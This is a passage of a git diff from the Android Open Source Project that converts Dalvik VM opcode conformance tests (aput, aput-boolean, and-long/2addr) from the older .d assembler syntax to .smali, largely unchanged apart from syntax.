+.class  public Ldot/junit/opcodes/and_long_2addr/d/T_and_long_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 7
+
+       and-long/2addr v3, v5
+       return-wide v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_1.d
deleted file mode 100644
index 0c46208..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_1.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_1.java
-.class public dot.junit.opcodes.aput.d.T_aput_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([III)V
-.limit regs 11
-
-       aput v10, v8, v9
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_1.smali
new file mode 100644
index 0000000..15a63c3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_1.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_1.java"
+.class  public Ldot/junit/opcodes/aput/d/T_aput_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([III)V
+.registers 11
+
+       aput v10, v8, v9
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_2.d
deleted file mode 100644
index 7ef7585..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_2.java
-.class public dot.junit.opcodes.aput.d.T_aput_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([IDI)V
-.limit regs 11
-
-
-       aput v10, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_2.smali
new file mode 100644
index 0000000..0ab568b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_2.java"
+.class  public Ldot/junit/opcodes/aput/d/T_aput_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([IDI)V
+.registers 11
+
+
+       aput v10, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_3.d
deleted file mode 100644
index f2872a0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_3.java
-.class public dot.junit.opcodes.aput.d.T_aput_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([IIJ)V
-.limit regs 11
-
-
-       aput v9, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_3.smali
new file mode 100644
index 0000000..5fa99dc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_3.java"
+.class  public Ldot/junit/opcodes/aput/d/T_aput_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([IIJ)V
+.registers 11
+
+
+       aput v9, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_4.d
deleted file mode 100644
index 6070220..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_4.java
-.class public dot.junit.opcodes.aput.d.T_aput_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;II)V
-.limit regs 10
-
-
-       aput v9, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_4.smali
new file mode 100644
index 0000000..7c17289
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_4.java"
+.class  public Ldot/junit/opcodes/aput/d/T_aput_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;II)V
+.registers 10
+
+
+       aput v9, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_5.d
deleted file mode 100644
index 9a37f62..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_5.java
-.class public dot.junit.opcodes.aput.d.T_aput_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([DII)V
-.limit regs 10
-
-
-       aput v9, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_5.smali
new file mode 100644
index 0000000..33615e2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_5.java"
+.class  public Ldot/junit/opcodes/aput/d/T_aput_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([DII)V
+.registers 10
+
+
+       aput v9, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_6.d
deleted file mode 100644
index 82dc6ac..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_6.java
-.class public dot.junit.opcodes.aput.d.T_aput_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([JII)V
-.limit regs 10
-
-
-       aput v9, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_6.smali
new file mode 100644
index 0000000..8f32da8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_6.java"
+.class  public Ldot/junit/opcodes/aput/d/T_aput_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JII)V
+.registers 10
+
+
+       aput v9, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_7.d
deleted file mode 100644
index 66017e3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_7.java
-.class public dot.junit.opcodes.aput.d.T_aput_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([III)V
-.limit regs 10
-
-       aput v9, v7, v6
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_7.smali
new file mode 100644
index 0000000..09fb46f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_7.java"
+.class  public Ldot/junit/opcodes/aput/d/T_aput_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([III)V
+.registers 10
+
+       aput v9, v7, v6
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_8.d
deleted file mode 100644
index 1f56222..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_8.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_8.java
-.class public dot.junit.opcodes.aput.d.T_aput_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([IFF)V
-.limit regs 11
-
-       aput v10, v8, v9
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_8.smali
new file mode 100644
index 0000000..1538b9f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_8.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_8.java"
+.class  public Ldot/junit/opcodes/aput/d/T_aput_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([IFF)V
+.registers 11
+
+       aput v10, v8, v9
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_9.d
deleted file mode 100644
index 73c5932..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_9.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_9.java
-.class public dot.junit.opcodes.aput.d.T_aput_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([III)V
-.limit regs 11
-
-       aput v11, v8, v9
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_9.smali
new file mode 100644
index 0000000..39953c3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput/d/T_aput_9.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_9.java"
+.class  public Ldot/junit/opcodes/aput/d/T_aput_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([III)V
+.registers 11
+
+       aput v11, v8, v9
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_1.d
deleted file mode 100644
index 0d97f3cc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_1.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_boolean_1.java
-.class public dot.junit.opcodes.aput_boolean.d.T_aput_boolean_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([ZIZ)V
-.limit regs 11
-
-       aput-boolean v10, v8, v9
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_1.smali
new file mode 100644
index 0000000..57f2b52
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_1.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_boolean_1.java"
+.class  public Ldot/junit/opcodes/aput_boolean/d/T_aput_boolean_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([ZIZ)V
+.registers 11
+
+       aput-boolean v10, v8, v9
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_2.d
deleted file mode 100644
index 2f73747..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_boolean_2.java
-.class public dot.junit.opcodes.aput_boolean.d.T_aput_boolean_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([ZDZ)V
-.limit regs 11
-
-
-       aput-boolean v10, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_2.smali
new file mode 100644
index 0000000..d1f3c06
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_boolean_2.java"
+.class  public Ldot/junit/opcodes/aput_boolean/d/T_aput_boolean_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([ZDZ)V
+.registers 11
+
+
+       aput-boolean v10, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_3.d
deleted file mode 100644
index 9eae917..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_boolean_3.java
-.class public dot.junit.opcodes.aput_boolean.d.T_aput_boolean_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([ZIJ)V
-.limit regs 11
-
-
-       aput-boolean v9, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_3.smali
new file mode 100644
index 0000000..e7f4276
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_boolean_3.java"
+.class  public Ldot/junit/opcodes/aput_boolean/d/T_aput_boolean_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([ZIJ)V
+.registers 11
+
+
+       aput-boolean v9, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_4.d
deleted file mode 100644
index 54f5a19..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_boolean_4.java
-.class public dot.junit.opcodes.aput_boolean.d.T_aput_boolean_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;IZ)V
-.limit regs 10
-
-
-       aput-boolean v9, v7, v8
